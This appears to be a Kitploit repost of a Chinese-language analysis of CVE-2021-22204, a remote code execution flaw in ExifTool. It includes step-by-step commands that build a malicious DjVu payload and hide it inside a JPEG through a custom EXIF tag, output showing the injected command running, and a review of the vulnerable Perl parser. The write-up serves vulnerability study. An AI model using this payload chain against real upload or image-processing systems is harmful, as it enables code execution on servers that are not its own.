Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-22204 — 对CVE-2021-22204(ExifTool远程代码执行)的深入技术分析,包含PoC复现、载荷构造以及易受攻击的DjVu注释解析器的Perl代码审查。 | Kitploit
工具/GitHubGitHub/trganda/cve-2021-22204
漏洞分析代码分析漏洞利用论文与研究学习与教育二进制利用
GitHubtrganda/cve-2021-22204

CVE-2021-22204

对CVE-2021-22204(ExifTool远程代码执行)的深入技术分析,包含PoC复现、载荷构造以及易受攻击的DjVu注释解析器的Perl代码审查。

查看仓库
384年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ExifTool 远程代码执行漏洞

这应该算是CVE-2021-22204的分析文章,但更多像是我的草稿本,写满了很多杂乱无章的东西,对于漏洞分析文章而言显得有些废话了,但却让我学到很多。

说实话,我从未使用过这款工具,也几乎没有接触过Perl这门语言,导致我在分析,乃至复现的过程中心中满是问号。在开始分析之前,先看看网上已公开的poc,以及我心中的疑问。

POC - convisolabs

看到的一篇文章是[1],其对漏洞产生的原因进行了简短介绍,但是由于我看不懂Perl代码,很多地方不清楚。其复现过程如下:

下载12.23版本的exiftool

wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip

解压安装

$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install

当然,如果你不想安装它,可以直接将exiftool-12.23目录下的exiftool文件放到环境变量能够找到的目录下,这样也可以直接使用exiftool工具,因为Perl是解释型语言,类似python。

制作一个恶意图片,首先安装所需工具

$ sudo apt-get update
$ sudo apt-get install djvulibre-bin

执行以下命令创建一个恶意的djvu文件

$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# 这是最让我困惑的地方,我不懂为什么要进行压缩(因为看其他POC是不需要的)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file

接着通过exiftool工具解析该恶意文件,会发现id命令成功执行了

$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

前面制作通过djvumake命令制作djvu格式文件的时候,能不能不压缩payload?因为从分析的角度看这不便于查看和测试。当然可以,只需要将参数ANTz换成ANTa。这里的ANTz和ANTa可以参考exiftool说明文档[3],但是他们具体的含义我还是没找到,因为没找到标准说明。

这里还是想吐槽一下,本来想通过man djvumake查看参数的说明,结果里面根本没有对ANTz和ANTa的说明,文档日期为2001年,许久未曾更新过了。

Tag IDTag NameWritable
'ANTa'ANTa-
'ANTz'CompressedAnnotation-

ANTa表示在djvu文件内metadata中以明文格式存储Annotation,ANTz为bzz压缩格式。

但是djvu格式的文件并不常见,特别是在网站上存在上传图片的情况时,大多只接受png/jpg/jpeg等文件。所以如果能将恶意的djvu文件变成一个jpg文件,那就好了。

exiftool工具可以帮助我们修改图片的内容,只要把恶意的djvu文件插入到jpg文件的合适位置就好了,至于具体是哪个位置,为什么可以是这个位置,后面分析时再说明。

构建一个exiftool配置文件eval.config

%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        # 0xc51b 对应Tag 'HasselbladExif'[6]
        0xc51b => {
            # 名字可以随意指定,这是接收的参数名称
            Name => 'HasselbladExif',
            # 可写入的变量类型
            Writable => 'string',
            # 写入的数据归属于metadata的哪一个Group[7]
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end

关于exiftool配置文件的写法,可以参考[4][5]。接着找一个普通的jpg图片文件poc.jpg,执行以下命令

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg

再通过exiftool解析poc.jpg,命令成功执行

$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

漏洞分析

以下的分析过程参考了[2]中的内容,漏洞的影响版本为exiftool < 12.24,引起漏洞的文件为

lib/Image/ExifTool/DjVu.pm (line 202)

相关函数代码如下

#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

不曾接触过Perl语言,讲真,基本没看懂这代码在干啥,不过好在有非常良好的注释帮助理解该函数的功能。从函数注释来看,它是用来解析djvu文件中的annotation数据的,并且根据代码的结构来看,是递归处理,而且annotation数据是以()为边界的。

Perl 正则表达式

为了便于理解代码,同时出于学习的目的,这里简单介绍一下Perl内部正则表达式的使用。

Perl正则的使用方法和特别,和我之前接触过的语言不太一样。Perl中正则有三种形式:

  • 匹配 m//,m可省略
  • 替换 s///
  • 转化 tr///

//之间的是正则表达式或者字符串,但是分隔符也可以是{}而不是局限于//,这是Perl语言的特点。

下面先看匹配的代码示例

#!/usr/bin/perl

$str = "this is a string";
$str =~ /this/;

print $str;
print "\n";
下载工具